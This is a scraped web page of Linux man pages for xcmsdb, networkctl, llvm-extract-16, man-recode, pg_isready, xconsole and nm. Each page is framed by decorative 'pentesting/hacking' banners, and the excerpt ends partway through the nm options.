             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1792 - Linux cli command xcmsdb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xcmsdb and provides detailed information about the command xcmsdb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xcmsdb.

NAME 🖥️ xcmsdb 🖥️

Device Color Characterization utility for X Color Management System

SYNOPSIS

xcmsdb [ -query ] [ -remove ] [ -format 32|16|8 ] [ -help ] [ -version ] [ filename ]

DESCRIPTION

xcmsdb is used to load, query, or remove Device Color Characterization data stored in properties on the root window of the screen as specified in section 7, Device Color Characterization, of the ICCCM. Device Color Characterization data (also called the Device Profile) is an integral part of Xlib’s X Color Management System (Xcms), necessary for proper conversion of color specification between device-independent and device-dependent forms. Xcms uses 3x3 matrices stored in the XDCCC_LINEAR_RGB_MATRICES property to convert color specifications between CIEXYZ and RGB Intensity (XcmsRGBi, also referred to as linear RGB). Xcms then uses display gamma information stored in the XDCCC_LINEAR_RGB_CORRECTION property to convert color specifications between RGBi and RGB device (XcmsRGB, also referred to as device RGB).

Note that Xcms allows clients to register function sets in addition to its built-in function set for CRT color monitors. Additional function sets may store their device profile information in other properties in function set specific format. This utility is unaware of these non-standard properties.

The ASCII readable contents of filename (or the standard input if no input file is given) are appropriately transformed for storage in properties, provided the -query or -remove options are not specified.

OPTIONS

xcmsdb program accepts the following options:

-query
This option attempts to read the XDCCC properties off the screen’s root window. If successful, it transforms the data into a more readable format, then sends the data to standard out.

-remove
This option attempts to remove the XDCCC properties on the screen’s root window.

-format 32|16|8
Specifies the property format (32, 16, or 8 bits per entry) for the XDCCC_LINEAR_RGB_CORRECTION property. Precision of encoded floating point values increases with the increase in bits per entry. The default is 32 bits per entry.

-help
This option prints a summary of the available options and exits.

-version
This option prints the program version and exits.

SEE ALSO

xprop(1), Xlib documentation

ENVIRONMENT

DISPLAY
to figure out which display and screen to use.

AUTHOR

Chuck Adams, Tektronix Inc. Al Tabayoyon, SynChromatics Inc. (added multi-visual support)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1793 - Linux cli command networkctl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command networkctl and provides detailed information about the command networkctl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the networkctl.

NAME 🖥️ networkctl 🖥️

Query or modify the status of network links

SYNOPSIS

networkctl [OPTIONS…] COMMAND [LINK…]

DESCRIPTION

networkctl may be used to query or modify the state of the network links as seen by systemd-networkd. Please refer to systemd-networkd.service(8) for an introduction to the basic concepts, functionality, and configuration syntax.

COMMANDS

The following commands are understood:

list [PATTERN…]

Show a list of existing links and their status. If one or more PATTERNs are specified, only links matching one of them are shown. If no further arguments are specified shows all links, otherwise just the specified links. Produces output similar to:

IDX LINK TYPE OPERATIONAL SETUP 1 lo loopback carrier unmanaged 2 eth0 ether routable configured 3 virbr0 ether no-carrier unmanaged 4 virbr0-nic ether off unmanaged

4 links listed.

The operational status is one of the following:

missing

The device is missing.

Added in version 245.

off

The device is powered down.

Added in version 240.

no-carrier

The device is powered up, but does not yet have a carrier.

Added in version 240.

dormant

The device has a carrier, but is not yet ready for normal traffic.

Added in version 240.

degraded-carrier

One of the bonding or bridge slave network interfaces is in off, no-carrier, or dormant state, and the master interface has no address.

Added in version 242.

carrier

The link has carrier, or for bond or bridge master, all bonding or bridge slave network interfaces are enslaved to the master.

Added in version 240.

degraded

The link has carrier and addresses valid on the local link configured. For bond or bridge master this means that not all slave network interfaces have carrier but at least one does.

Added in version 240.

enslaved

The link has carrier and is enslaved to bond or bridge master network interface.

Added in version 242.

routable

The link has carrier and routable address configured. For bond or bridge master it is not necessary for all slave network interfaces to have carrier, but at least one must.

Added in version 240.

The setup status is one of the following:

pending

systemd-udevd(8) is still processing the link, we dont yet know if we will manage it.

Added in version 240.

initialized

systemd-udevd(8) has processed the link, but we dont yet know if we will manage it.

Added in version 251.

configuring

Configuration for the link is being retrieved or the link is being configured.

Added in version 240.

configured

Link has been configured successfully.

Added in version 240.

unmanaged

systemd-networkd is not handling the link.

Added in version 240.

failed

systemd-networkd failed to configure the link.

Added in version 240.

linger

The link is gone, but has not yet been dropped by systemd-networkd.

Added in version 240.

Added in version 219.

status [PATTERN…]

Show information about the specified links: type, state, kernel module driver, hardware and IP address, configured DNS servers, etc. If one or more PATTERNs are specified, only links matching one of them are shown.

When no links are specified, an overall network status is shown. Also see the option –all.

Produces output similar to:

● State: routable Online state: online Address: 10.193.76.5 on eth0 192.168.122.1 on virbr0 169.254.190.105 on eth0 fe80::5054:aa:bbbb:cccc on eth0 Gateway: 10.193.11.1 (CISCO SYSTEMS, INC.) on eth0 DNS: 8.8.8.8 8.8.4.4

In the overall network status, the online state depends on the individual online state of all required links. Managed links are required for online by default. In this case, the online state is one of the following:

unknown

All links have unknown online status (i.e. there are no required links).

Added in version 249.

offline

All required links are offline.

Added in version 249.

partial

Some, but not all, required links are online.

Added in version 249.

online

All required links are online.

Added in version 249.

Added in version 219.

lldp [PATTERN…]

Show discovered LLDP (Link Layer Discovery Protocol) neighbors. If one or more PATTERNs are specified only neighbors on those interfaces are shown. Otherwise shows discovered neighbors on all interfaces. Note that for this feature to work, LLDP= must be turned on for the specific interface, see systemd.network(5) for details.

Produces output similar to:

LINK SYSTEM-NAME SYSTEM-DESCRIPTION CHASSIS-ID PORT-ID PORT-DESCRIPTION CAPS enp0s25 GS1900 - 00:e0:4c:00:00:00 2 Port #2 ..b……..

Capability Flags:
o - Other; p - Repeater;  b - Bridge; w - WLAN Access Point; r - Router;
t - Telephone; d - DOCSIS cable device; a - Station; c - Customer VLAN;
s - Service VLAN, m - Two-port MAC Relay (TPMR)

1 neighbor(s) listed.

Added in version 219.

label

Show numerical address labels that can be used for address selection. This is the same information that ip-addrlabel(8) shows. See RFC 3484[1] for a discussion of address labels.

Produces output similar to:

Prefix/Prefixlen Label ::/0 1 fc00::/7 5 fec0::/10 11 2002::/16 2 3ffe::/16 12 2001:10::/28 7 2001::/32 6 ::ffff:0.0.0.0/96 4 ::/96 3 ::1/128 0

Added in version 234.

delete DEVICE…

Deletes virtual netdevs. Takes interface name or index number.

Added in version 243.

up DEVICE…

Bring devices up. Takes interface name or index number.

Added in version 246.

down DEVICE…

Bring devices down. Takes interface name or index number.

Added in version 246.

renew DEVICE…

Renew dynamic configurations e.g. addresses received from DHCP server. Takes interface name or index number.

Added in version 244.

forcerenew DEVICE…

Send a FORCERENEW message to all connected clients, triggering DHCP reconfiguration. Takes interface name or index number.

Added in version 246.

reconfigure DEVICE…

Reconfigure network interfaces. Takes interface name or index number. Note that this does not reload .netdev or .network corresponding to the specified interface. So, if you edit config files, it is necessary to call networkctl reload first to apply new settings.

Added in version 244.

reload

Reload .netdev and .network files. If a new .netdev file is found, then the corresponding netdev is created. Note that even if an existing .netdev is modified or removed, systemd-networkd does not update or remove the netdev. If a new, modified or removed .network file is found, then all interfaces which match the file are reconfigured.

Added in version 244.

edit FILE|@DEVICE

Edit network configuration files, which include .network, .netdev, and .link files. If no network config file matching the given name is found, a new one will be created under /etc/ or /run/, depending on whether –runtime is specified. Specially, if the name is prefixed by “@”, it will be treated as a network interface, and editing will be performed on the network config files associated with it. Additionally, the interface name can be suffixed with “:network” (default) or “:link”, in order to choose the type of network config to operate on.

If –drop-in= is specified, edit the drop-in file instead of the main configuration file. Unless –no-reload is specified, systemd-networkd will be reloaded after the edit of the .network or .netdev files finishes. The same applies for .link files and systemd-udevd(8). Note that the changed link settings are not automatically applied after reloading. To achieve that, trigger uevents for the corresponding interface. Refer to systemd.link(5) for more information.

Added in version 254.

cat [FILE|@DEVICE…]

Show network configuration files. This command honors the “@” prefix in the same way as edit. When no argument is specified, networkd.conf(5) and its drop-in files will be shown.

Added in version 254.

mask FILE

Mask network configuration files, which include .network, .netdev, and .link files. A symlink of the given name will be created under /etc/ or /run/, depending on whether –runtime is specified, that points to /dev/null. If a non-empty config file with the specified name exists under the target directory or a directory with higher priority (e.g. –runtime is used while an existing config resides in /etc/), the operation is aborted.

This command honors –no-reload in the same way as edit.

Added in version 256.

unmask FILE

Unmask network configuration files, i.e. reverting the effect of mask. Note that this command operates regardless of the scope of the directory, i.e. –runtime is of no effect.

This command honors –no-reload in the same way as edit and mask.

Added in version 256.

persistent-storage BOOL

Notify systemd-networkd.service that the persistent storage for the service is ready. This is called by systemd-networkd-persistent-storage.service. Usually, this command should not be called manually by users or administrators.

Added in version 256.

OPTIONS

The following options are understood:

-a –all

Show all links with status.

Added in version 219.

-s –stats

Show link statistics with status.

Added in version 243.

-l, –full

Do not ellipsize the output.

Added in version 245.

-n, –lines=

When used with status, controls the number of journal lines to show, counting from the most recent ones. Takes a positive integer argument. Defaults to 10.

Added in version 245.

**–drop-in=**NAME

When used with edit, edit the drop-in file NAME instead of the main configuration file.

Added in version 254.

–no-reload

When used with edit, mask, or unmask, systemd-networkd.service(8) or systemd-udevd.service(8) will not be reloaded after the operation finishes.

Added in version 254.

–runtime

When used with edit or mask, operate on the file under /run/ instead of /etc/.

Added in version 256.

**–json=**MODE

Shows output formatted as JSON. Expects one of “short” (for the shortest possible output without any redundant whitespace or line breaks), “pretty” (for a pretty version of the same, with indentation and line breaks) or “off” (to turn off JSON output, the default).

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

–no-legend

Do not print the legend, i.e. column headers and the footer with hints.

–no-pager

Do not pipe output into a pager.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd-networkd.service(8), systemd.network(5), systemd.netdev(5), ip(8)

NOTES

RFC 3484

https://tools.ietf.org/html/rfc3484

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1794 - Linux cli command llvm-extract-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-extract-16 and provides detailed information about the command llvm-extract-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-extract-16.

NAME 🖥️ llvm-extract-16 🖥️

extract - extract a function from an LLVM module

SYNOPSIS

llvm-extract [options] –func function-name [filename]

DESCRIPTION

The llvm-extract command takes the name of a function and extracts it from the specified LLVM bitcode file. It is primarily used as a debugging tool to reduce test cases from larger programs that are triggering a bug.

In addition to extracting the bitcode of the specified function, llvm-extract will also remove unreachable global variables, prototypes, and unused types.

The llvm-extract command reads its input from standard input if filename is omitted or if filename is -. The output is always written to standard output, unless the -o option is specified (see below).

OPTIONS

–alias alias-name

Extract the alias named function-name from the LLVM bitcode. May be specified multiple times to extract multiple alias at once.

–ralias alias-regular-expr

Extract the alias matching alias-regular-expr from the LLVM bitcode. All alias matching the regular expression will be extracted. May be specified multiple times.

–bb basic-block-specifier

Extract basic blocks(s) specified in basic-block-specifier. May be specified multiple times. Each <function:bb[;bb]> specifier pair will create a function. If multiple basic blocks are specified in one pair, the first block in the sequence should dominate the rest.

–delete

Delete specified Globals from Module.

-f

Enable binary output on terminals. Normally, llvm-extract will refuse to write raw bitcode output if the output stream is a terminal. With this option, llvm-extract will write raw bitcode regardless of the output device.

–func function-name

Extract the function named function-name from the LLVM bitcode. May be specified multiple times to extract multiple functions at once.

–rfunc function-regular-expr

Extract the function(s) matching function-regular-expr from the LLVM bitcode. All functions matching the regular expression will be extracted. May be specified multiple times.

–glob global-name

Extract the global variable named global-name from the LLVM bitcode. May be specified multiple times to extract multiple global variables at once.

–rglob glob-regular-expr

Extract the global variable(s) matching global-regular-expr from the LLVM bitcode. All global variables matching the regular expression will be extracted. May be specified multiple times.

–keep-const-init

Preserve the values of constant globals.

–recursive

Recursively extract all called functions

-help

Print a summary of command line options.

-o filename

Specify the output filename. If filename is “-” (the default), then llvm-extract sends its output to standard output.

-S

Write output in LLVM intermediate language (instead of bitcode).

EXIT STATUS

If llvm-extract succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

SEE ALSO

bugpoint(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1795 - Linux cli command man-recode

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command man-recode and provides detailed information about the command man-recode, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the man-recode.

NAME 🖥️ man-recode 🖥️

recode - convert manual pages to another encoding

SYNOPSIS

man-recode -t to-code { **–suffix=**suffix |  –in-place } [ -dqhV ] [ filename ]

DESCRIPTION

man-recode converts multiple manual pages from one encoding to another, guessing the appropriate input encoding for each one. It is useful when permanently recoding pages written in legacy character sets, or in build systems that need to recode a set of pages to a single common encoding (usually UTF-8) for installation. When converting many manual pages, this program is much faster than running man –recode or manconv on each page.

If an encoding declaration is found on the first line of a manual page, then that declaration is used as the input encoding for that page. Failing that, the input encoding is guessed based on the file name.

Encoding declarations have the following form:

‘" -- coding: UTF-8 --

or (if manual page preprocessors are also to be declared):

‘" t -- coding: ISO-8859-1 --

OPTIONS

-t encoding, **–to-code=**encoding
Convert manual pages to encoding.

**–suffix=**suffix
Form each output file name by appending suffix to the input file name, after removing any compression extension.

–in-place
Overwrite each input file with the output, after removing any compression extension.

-q, –quiet
Do not issue error messages when the page cannot be converted.

-d, –debug
Print debugging information.

-h, –help
Print a help message and exit.

-V, –version
Display version information.

SEE ALSO

iconv(1), man(1), manconv(1)

BUGS

https://gitlab.com/man-db/man-db/-/issues
https://savannah.nongnu.org/bugs/?group=man-db

AUTHOR

Colin Watson ([email protected]).
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1796 - Linux cli command pg_isready

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_isready and provides detailed information about the command pg_isready, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_isready.

NAME 🖥️ pg_isready 🖥️

check the connection status of a PostgreSQL server

SYNOPSIS

pg_isready [connection-option…] [option…]

DESCRIPTION

pg_isready is a utility for checking the connection status of a PostgreSQL database server. The exit status specifies the result of the connection check.

OPTIONS

-d dbname
**–dbname=**dbname

Specifies the name of the database to connect to. The dbname can be a connection string. If so, connection string parameters will override any conflicting command line options.

-h hostname
**–host=**hostname

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for the Unix-domain socket.

-p port
**–port=**port

Specifies the TCP port or the local Unix-domain socket file extension on which the server is listening for connections. Defaults to the value of the PGPORT environment variable or, if not set, to the port specified at compile time, usually 5432.

-q
–quiet

Do not display status message. This is useful when scripting.

-t seconds
**–timeout=**seconds

The maximum number of seconds to wait when attempting connection before returning that the server is not responding. Setting to 0 disables. The default is 3 seconds.

-U username
**–username=**username

Connect to the database as the user username instead of the default.

-V
–version

Print the pg_isready version and exit.

-?
–help

Show help about pg_isready command line arguments, and exit.

EXIT STATUS

pg_isready returns 0 to the shell if the server is accepting connections normally, 1 if the server is rejecting connections (for example during startup), 2 if there was no response to the connection attempt, and 3 if no attempt was made (for example due to invalid parameters).

ENVIRONMENT

pg_isready, like most other PostgreSQL utilities, also uses the environment variables supported by libpq (see Section 34.15).

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

It is not necessary to supply correct user name, password, or database name values to obtain the server status; however, if incorrect values are provided, the server will log a failed connection attempt.

EXAMPLES

Standard Usage:

$ pg_isready /tmp:5432 - accepting connections $ echo $? 0

Running with connection parameters to a PostgreSQL cluster in startup:

$ pg_isready -h localhost -p 5433 localhost:5433 - rejecting connections $ echo $? 1

Running with connection parameters to a non-responsive PostgreSQL cluster:

$ pg_isready -h someremotehost someremotehost:5432 - no response $ echo $? 2

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1797 - Linux cli command xconsole

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xconsole and provides detailed information about the command xconsole, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xconsole.

NAME 🖥️ xconsole 🖥️

monitor system console messages with X

SYNOPSIS

xconsole [-toolkitoption …] [-file file-name] [-notify] [-stripNonprint] [-daemon] [-verbose] [-exitOnFail]

DESCRIPTION

The xconsole program displays messages which are usually sent to /dev/console.

OPTIONS

Xconsole accepts all of the standard X Toolkit command line options along with the additional options listed below:

-file file-name
To monitor some other device, use this option to specify the device name. This does not work on regular files as they are always ready to be read from.

-notify -nonotify
When new data are received from the console and the notify option is set, the icon name of the application has " *" appended, so that it is evident even when the application is iconified. -notify is the default.

-daemon
This option causes xconsole to place itself in the background, using fork/exit.

-verbose
When set, this option directs xconsole to display an informative message in the first line of the text buffer.

-exitOnFail
When set, this option directs xconsole to exit when it is unable to redirect the console output.

-saveLines count
When set, xconsole only preserves count lines of message history instead of growing the text buffer without bound (a count of zero - the default - is treated as placing no limit on the history).

X DEFAULTS

This program uses the Athena Text widget, look in the Athena Widget Set documentation for controlling it.

Xconsole otherwise accepts resources of the same names as the command-line options (without the leading dash). “file” is a string type, “saveLines” an integer, and the remaining options are booleans.

WIDGETS

In order to specify resources, it is useful to know the hierarchy of the widgets which compose xconsole. In the notation below, indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name.

XConsole  xconsole
     XConsole  text

ENVIRONMENT

DISPLAY
to get the default host and display number.

XENVIRONMENT
to get the name of a resource file that overrides the global resources stored in the RESOURCE_MANAGER property.

FILES

/etc/X11/app-defaults/XConsole
specifies required resources

SEE ALSO

X(7), xrdb(1), Athena Text widget

AUTHOR

Keith Packard (MIT X Consortium)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1798 - Linux cli command nm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nm and provides detailed information about the command nm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nm.

NAME 🖥️ nm 🖥️

list symbols from object files

SYNOPSIS

nm [-A|-o|–print-file-name] [-a|–debug-syms] [-B|–format=bsd] [-C|–demangle[=style]] [-D|–dynamic] [-fformat|–format=format] [-g|–extern-only] [-h|–help] [–ifunc-chars=CHARS] [-j|–format=just-symbols] [-l|–line-numbers] [–inlines] [-n|-v|–numeric-sort] [-P|–portability] [-p|–no-sort] [-r|–reverse-sort] [-S|–print-size] [-s|–print-armap] [-t radix|–radix=radix] [-u|–undefined-only] [-U|–defined-only] [-V|–version] [-W|–no-weak] [-X 32_64] [–no-demangle] [–no-recurse-limit|–recurse-limit]] [–plugin name] [–size-sort] [–special-syms] [–synthetic] [–target=bfdname] [–unicode=method] [–with-symbol-versions] [–without-symbol-versions] [objfile…]

DESCRIPTION

GNU nm lists the symbols from object files objfile…. If no object files are listed as arguments, nm assumes the file a.out.

For each symbol, nm shows:

  • The symbol value, in the radix selected by options (see below), or hexadecimal by default.

  • The symbol type. At least the following types are used; others are, as well, depending on the object file format. If lowercase, the symbol is usually local; if uppercase, the symbol is global (external). There are however a few lowercase symbols that are shown for special global symbols (u, v and w).

    “A”
    The symbol’s value is absolute, and will not be changed by further linking.

    “B”

    “b”

    The symbol is in the BSS data section. This section typically contains zero-initialized or uninitialized data, although the exact behavior is system dependent.

    “C”

    “c”

    The symbol is common. Common symbols are uninitialized data. When linking, multiple common symbols may appear with the same name. If the symbol is defined anywhere, the common symbols are treated as undefined references. The lower case c character is used when the symbol is in a special section for small commons.

    “D”

    “d”

    The symbol is in the initialized data section.

    “G”

    “g”

    The symbol is in an initialized data section for small objects. Some object file formats permit more efficient access to small data objects, such as a global int variable as opposed to a large global array.

    “i”
    For PE format files this indicates that the symbol is in a section specific to the implementation of DLLs. For ELF format files this indicates that the symbol is an indirect function. This is a GNU extension to the standard set of ELF symbol types. It indicates a symbol which if referenced by a relocation does not evaluate to its address, but instead must be invoked at runtime. The runtime execution will then return the value to be used in the relocation. Note - the actual symbols display for GNU indirect symbols is controlled by the –ifunc-chars command line option. If this option has been provided then the first character in the string will be used for global indirect function symbols. If the string contains a second character then that will be used for local indirect function symbols.

    “I”
    The symbol is an indirect reference to another symbol.

    “N”
    The symbol is a debugging symbol.

    “n”
    The symbol is in a non-data, non-code, non-debug read-only section.

    “p”
    The symbol is in a stack unwind section.

    “R”

    “r”

    The symbol is in a read only data section.

    “S”

    “s”

    The symbol is in an uninitialized or zero-initialized data section for small objects.

    “T”

    “t”

    The symbol is in the text (code) section.

    “U”
    The symbol is undefined.

    “u”
    The symbol is a unique global symbol. This is a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

    “V”

    “v”

    The symbol is a weak object. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the weak symbol becomes zero with no error. On some systems, uppercase indicates that a default value has been specified.

    “W”

    “w”

    The symbol is a weak symbol that has not been specifically tagged as a weak object symbol. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the symbol is determined in a system-specific manner without error. On some systems, uppercase indicates that a default value has been specified.

    “-”
    The symbol is a stabs symbol in an a.out object file. In this case, the next values printed are the stabs other field, the stabs desc field, and the stab type. Stabs symbols are used to hold debugging information.

    “?”
    The symbol type is unknown, or object file format specific.

  • The symbol name. If a symbol has version information associated with it, then the version information is displayed as well. If the versioned symbol is undefined or hidden from linker, the version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol, then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent.

-A

-o

–print-file-name

Precede each symbol by the name of the input file (or archive member) in which it was found, rather than identifying the input file once only, before all of its symbols.

-a

–debug-syms

Display all symbols, even debugger-only symbols; normally these are not listed.

-B
The same as –format=bsd (for compatibility with the MIPS nm).

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-D

–dynamic

Display the dynamic symbols rather than the normal symbols. This is only meaningful for dynamic objects, such as certain types of shared libraries.

-f format

–format=format

Use the output format format, which can be bsd, sysv, posix or just-symbols. The default is bsd. Only the first character of format is significant; it can be either upper or lower case.

-g

–extern-only

Display only external symbols.

-h

–help

Show a summary of the options to nm and exit.

